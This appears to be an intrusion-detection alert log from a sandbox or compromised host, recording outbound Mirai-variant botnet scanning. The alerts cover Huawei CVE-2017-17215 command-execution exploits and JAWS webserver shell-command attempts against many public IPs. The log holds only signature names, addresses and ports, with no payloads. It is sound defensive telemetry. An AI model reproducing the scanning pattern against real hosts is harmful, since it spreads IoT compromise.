2025-01-30T10:43:45.804289+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37940	41.36.193.213	37215	TCP
2025-01-30T10:43:45.837521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56924	41.118.195.252	37215	TCP
2025-01-30T10:43:45.852524+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37620	41.10.137.11	37215	TCP
2025-01-30T10:43:45.852827+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47408	41.54.36.27	37215	TCP
2025-01-30T10:43:45.853021+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41654	156.166.165.169	37215	TCP
2025-01-30T10:43:46.192370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48366	208.47.26.228	80	TCP
2025-01-30T10:43:46.192370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48366	208.47.26.228	80	TCP
2025-01-30T10:43:46.208065+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37502	9.78.79.128	80	TCP
2025-01-30T10:43:46.208065+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37502	9.78.79.128	80	TCP
2025-01-30T10:43:46.221880+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41846	130.202.83.171	80	TCP
2025-01-30T10:43:46.221880+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41846	130.202.83.171	80	TCP
2025-01-30T10:43:46.831605+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47362	156.126.117.164	37215	TCP
2025-01-30T10:43:47.208142+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36552	35.98.252.14	80	TCP
2025-01-30T10:43:47.208142+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36552	35.98.252.14	80	TCP
2025-01-30T10:43:47.227678+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60770	66.41.143.200	80	TCP
2025-01-30T10:43:47.227678+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60770	66.41.143.200	80	TCP
2025-01-30T10:43:47.227927+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53386	93.81.111.53	80	TCP
2025-01-30T10:43:47.227927+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53386	93.81.111.53	80	TCP
2025-01-30T10:43:47.245669+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35496	68.72.170.234	80	TCP
2025-01-30T10:43:47.245669+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35496	68.72.170.234	80	TCP
2025-01-30T10:43:47.804744+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56206	156.96.136.191	37215	TCP
2025-01-30T10:43:47.817500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33024	41.183.220.92	37215	TCP
2025-01-30T10:43:47.818463+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44130	41.122.227.254	37215	TCP
2025-01-30T10:43:47.818540+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37692	41.96.131.54	37215	TCP
2025-01-30T10:43:47.831446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39528	41.29.160.37	37215	TCP
2025-01-30T10:43:47.832150+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56056	41.128.227.239	37215	TCP
2025-01-30T10:43:47.848297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57822	41.247.97.116	37215	TCP
2025-01-30T10:43:47.849359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33124	41.239.114.139	37215	TCP
2025-01-30T10:43:47.850757+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42572	197.8.102.122	37215	TCP
2025-01-30T10:43:48.190915+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33860	97.108.49.103	80	TCP
2025-01-30T10:43:48.190915+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33860	97.108.49.103	80	TCP
2025-01-30T10:43:48.192977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50478	161.165.50.76	80	TCP
2025-01-30T10:43:48.192977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50478	161.165.50.76	80	TCP
2025-01-30T10:43:48.206741+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37300	134.221.28.77	80	TCP
2025-01-30T10:43:48.206741+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37300	134.221.28.77	80	TCP
2025-01-30T10:43:48.206822+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45036	93.72.17.94	80	TCP
2025-01-30T10:43:48.206822+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45036	93.72.17.94	80	TCP
2025-01-30T10:43:48.208166+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58328	149.41.43.132	80	TCP
2025-01-30T10:43:48.208166+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58328	149.41.43.132	80	TCP
2025-01-30T10:43:48.208179+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44976	165.2.208.236	80	TCP
2025-01-30T10:43:48.208179+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44976	165.2.208.236	80	TCP
2025-01-30T10:43:48.208181+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55240	220.162.161.140	80	TCP
2025-01-30T10:43:48.208181+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55240	220.162.161.140	80	TCP
2025-01-30T10:43:48.208210+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46802	67.253.199.179	80	TCP
2025-01-30T10:43:48.208210+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46802	67.253.199.179	80	TCP
2025-01-30T10:43:48.210159+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59360	122.221.97.166	80	TCP
2025-01-30T10:43:48.210159+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59360	122.221.97.166	80	TCP
2025-01-30T10:43:48.210592+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55192	45.250.199.205	80	TCP
2025-01-30T10:43:48.210592+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55192	45.250.199.205	80	TCP
2025-01-30T10:43:48.210598+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55302	136.208.28.185	80	TCP
2025-01-30T10:43:48.210598+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55302	136.208.28.185	80	TCP
2025-01-30T10:43:48.210599+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59104	75.23.214.171	80	TCP
2025-01-30T10:43:48.210599+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59104	75.23.214.171	80	TCP
2025-01-30T10:43:48.210668+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53476	161.216.52.93	80	TCP
2025-01-30T10:43:48.210668+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53476	161.216.52.93	80	TCP
2025-01-30T10:43:48.212559+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59786	210.118.17.191	80	TCP
2025-01-30T10:43:48.212559+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59786	210.118.17.191	80	TCP
2025-01-30T10:43:48.212681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58538	4.92.16.213	80	TCP
2025-01-30T10:43:48.212681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58538	4.92.16.213	80	TCP
2025-01-30T10:43:48.214492+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44430	198.124.187.159	80	TCP
2025-01-30T10:43:48.214492+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44430	198.124.187.159	80	TCP
2025-01-30T10:43:48.223689+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45090	59.180.110.152	80	TCP
2025-01-30T10:43:48.223689+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45090	59.180.110.152	80	TCP
2025-01-30T10:43:48.224077+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59752	205.54.219.140	80	TCP
2025-01-30T10:43:48.224077+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59752	205.54.219.140	80	TCP
2025-01-30T10:43:48.228236+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37770	67.102.120.3	80	TCP
2025-01-30T10:43:48.228236+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37770	67.102.120.3	80	TCP
2025-01-30T10:43:48.694537+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42262	156.195.4.223	37215	TCP
2025-01-30T10:43:48.850108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44326	197.198.217.221	37215	TCP
2025-01-30T10:43:48.862878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60252	197.198.229.100	37215	TCP
2025-01-30T10:43:48.862890+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56160	156.89.145.203	37215	TCP
2025-01-30T10:43:48.864556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58402	156.126.201.183	37215	TCP
2025-01-30T10:43:48.866621+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38416	156.140.134.225	37215	TCP
2025-01-30T10:43:48.866819+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51922	197.48.9.188	37215	TCP
2025-01-30T10:43:48.868410+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32804	197.90.95.4	37215	TCP
2025-01-30T10:43:48.880519+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57874	41.115.227.226	37215	TCP
2025-01-30T10:43:48.884250+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51280	156.225.118.37	37215	TCP
2025-01-30T10:43:49.222588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35864	131.241.186.82	80	TCP
2025-01-30T10:43:49.222588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35864	131.241.186.82	80	TCP
2025-01-30T10:43:49.222603+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46280	77.94.64.237	80	TCP
2025-01-30T10:43:49.222603+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46280	77.94.64.237	80	TCP
2025-01-30T10:43:49.222888+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34418	14.179.47.156	80	TCP
2025-01-30T10:43:49.222888+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34418	14.179.47.156	80	TCP
2025-01-30T10:43:49.223198+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57684	108.114.34.134	80	TCP
2025-01-30T10:43:49.223198+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57684	108.114.34.134	80	TCP
2025-01-30T10:43:49.223342+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33168	199.170.59.234	80	TCP
2025-01-30T10:43:49.223342+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33168	199.170.59.234	80	TCP
2025-01-30T10:43:49.224407+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41728	208.239.147.178	80	TCP
2025-01-30T10:43:49.224407+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41728	208.239.147.178	80	TCP
2025-01-30T10:43:49.224572+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58774	57.216.85.203	80	TCP
2025-01-30T10:43:49.224572+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58774	57.216.85.203	80	TCP
2025-01-30T10:43:49.224598+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54308	83.145.187.144	80	TCP
2025-01-30T10:43:49.224598+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54308	83.145.187.144	80	TCP
2025-01-30T10:43:49.226370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40570	212.173.131.128	80	TCP
2025-01-30T10:43:49.226370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40570	212.173.131.128	80	TCP
2025-01-30T10:43:49.226548+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55000	151.238.225.180	80	TCP
2025-01-30T10:43:49.226548+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55000	151.238.225.180	80	TCP
2025-01-30T10:43:49.230468+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53000	193.191.218.13	80	TCP
2025-01-30T10:43:49.230468+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53000	193.191.218.13	80	TCP
2025-01-30T10:43:49.242063+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35356	205.75.167.131	80	TCP
2025-01-30T10:43:49.242063+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35356	205.75.167.131	80	TCP
2025-01-30T10:43:49.242282+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53188	160.15.16.227	80	TCP
2025-01-30T10:43:49.242282+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53188	160.15.16.227	80	TCP
2025-01-30T10:43:49.243204+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36014	210.174.174.27	80	TCP
2025-01-30T10:43:49.243204+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36014	210.174.174.27	80	TCP
2025-01-30T10:43:49.243417+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47750	104.172.248.153	80	TCP
2025-01-30T10:43:49.243417+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47750	104.172.248.153	80	TCP
2025-01-30T10:43:49.599292+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42144	156.67.88.71	37215	TCP
2025-01-30T10:43:49.864648+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33744	41.188.45.204	37215	TCP
2025-01-30T10:43:49.893901+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52182	156.7.243.150	37215	TCP
2025-01-30T10:43:49.894682+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50032	197.181.9.230	37215	TCP
2025-01-30T10:43:49.897796+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33938	156.21.55.184	37215	TCP
2025-01-30T10:43:49.897876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47966	41.145.31.94	37215	TCP
2025-01-30T10:43:50.222151+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34734	180.199.16.236	80	TCP
2025-01-30T10:43:50.222151+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34734	180.199.16.236	80	TCP
2025-01-30T10:43:50.237722+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46118	99.175.109.191	80	TCP
2025-01-30T10:43:50.237722+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46118	99.175.109.191	80	TCP
2025-01-30T10:43:50.237850+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42258	88.41.72.104	80	TCP
2025-01-30T10:43:50.237850+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42258	88.41.72.104	80	TCP
2025-01-30T10:43:50.237857+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43616	128.253.174.229	80	TCP
2025-01-30T10:43:50.237857+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43616	128.253.174.229	80	TCP
2025-01-30T10:43:50.238358+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53952	200.134.233.247	80	TCP
2025-01-30T10:43:50.238358+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53952	200.134.233.247	80	TCP
2025-01-30T10:43:50.238505+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51846	119.156.146.149	80	TCP
2025-01-30T10:43:50.238505+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51846	119.156.146.149	80	TCP
2025-01-30T10:43:50.239584+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53718	145.40.219.121	80	TCP
2025-01-30T10:43:50.239584+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53718	145.40.219.121	80	TCP
2025-01-30T10:43:50.239811+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36972	143.227.230.192	80	TCP
2025-01-30T10:43:50.239811+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36972	143.227.230.192	80	TCP
2025-01-30T10:43:50.241547+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38806	148.85.50.141	80	TCP
2025-01-30T10:43:50.241547+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38806	148.85.50.141	80	TCP
2025-01-30T10:43:50.241640+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45516	159.160.126.76	80	TCP
2025-01-30T10:43:50.241640+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45516	159.160.126.76	80	TCP
2025-01-30T10:43:50.267971+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59474	31.23.10.68	80	TCP
2025-01-30T10:43:50.267971+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59474	31.23.10.68	80	TCP
2025-01-30T10:43:50.268345+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51722	173.183.34.237	80	TCP
2025-01-30T10:43:50.268345+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51722	173.183.34.237	80	TCP
2025-01-30T10:43:50.268345+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45932	205.227.23.29	80	TCP
2025-01-30T10:43:50.268345+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45932	205.227.23.29	80	TCP
2025-01-30T10:43:50.272616+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58620	60.75.22.241	80	TCP
2025-01-30T10:43:50.272616+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58620	60.75.22.241	80	TCP
2025-01-30T10:43:50.274344+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41652	188.166.184.91	80	TCP
2025-01-30T10:43:50.274344+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41652	188.166.184.91	80	TCP
2025-01-30T10:43:50.277090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44882	219.112.39.108	80	TCP
2025-01-30T10:43:50.277090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44882	219.112.39.108	80	TCP
2025-01-30T10:43:50.278494+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42858	165.154.143.194	80	TCP
2025-01-30T10:43:50.278494+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42858	165.154.143.194	80	TCP
2025-01-30T10:43:50.278499+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44044	196.240.1.103	80	TCP
2025-01-30T10:43:50.278499+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44044	196.240.1.103	80	TCP
2025-01-30T10:43:50.878538+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53968	156.37.13.239	37215	TCP
2025-01-30T10:43:50.878549+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58408	156.18.130.229	37215	TCP
2025-01-30T10:43:50.878923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58790	156.3.49.136	37215	TCP
2025-01-30T10:43:50.894100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48326	41.53.200.123	37215	TCP
2025-01-30T10:43:50.894102+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53898	197.226.253.141	37215	TCP
2025-01-30T10:43:50.894106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43224	156.101.248.59	37215	TCP
2025-01-30T10:43:50.894191+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37576	156.97.25.5	37215	TCP
2025-01-30T10:43:50.894229+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50250	156.178.206.7	37215	TCP
2025-01-30T10:43:50.894303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38974	197.63.179.59	37215	TCP
2025-01-30T10:43:50.894398+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52518	156.228.242.11	37215	TCP
2025-01-30T10:43:50.894944+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42864	197.161.117.100	37215	TCP
2025-01-30T10:43:50.895400+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58574	197.143.59.36	37215	TCP
2025-01-30T10:43:50.895422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33572	41.221.145.176	37215	TCP
2025-01-30T10:43:50.895891+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44750	41.185.9.24	37215	TCP
2025-01-30T10:43:50.895938+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52072	156.89.55.243	37215	TCP
2025-01-30T10:43:50.896032+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57812	156.230.227.42	37215	TCP
2025-01-30T10:43:50.896034+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45912	197.95.15.20	37215	TCP
2025-01-30T10:43:50.896155+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45050	41.212.101.105	37215	TCP
2025-01-30T10:43:50.896297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60522	41.38.218.175	37215	TCP
2025-01-30T10:43:50.896611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37866	156.159.45.88	37215	TCP
2025-01-30T10:43:50.896685+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50394	41.2.187.194	37215	TCP
2025-01-30T10:43:50.897243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46808	197.38.35.202	37215	TCP
2025-01-30T10:43:50.897739+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37714	156.26.178.51	37215	TCP
2025-01-30T10:43:50.897805+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36104	41.126.251.121	37215	TCP
2025-01-30T10:43:50.897922+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53130	197.158.183.133	37215	TCP
2025-01-30T10:43:50.897993+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43218	197.92.197.74	37215	TCP
2025-01-30T10:43:50.898069+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48210	156.128.37.12	37215	TCP
2025-01-30T10:43:50.898211+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46082	197.170.22.135	37215	TCP
2025-01-30T10:43:50.899775+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37020	156.142.13.251	37215	TCP
2025-01-30T10:43:50.899808+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46846	156.151.91.154	37215	TCP
2025-01-30T10:43:50.899827+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39294	41.54.73.210	37215	TCP
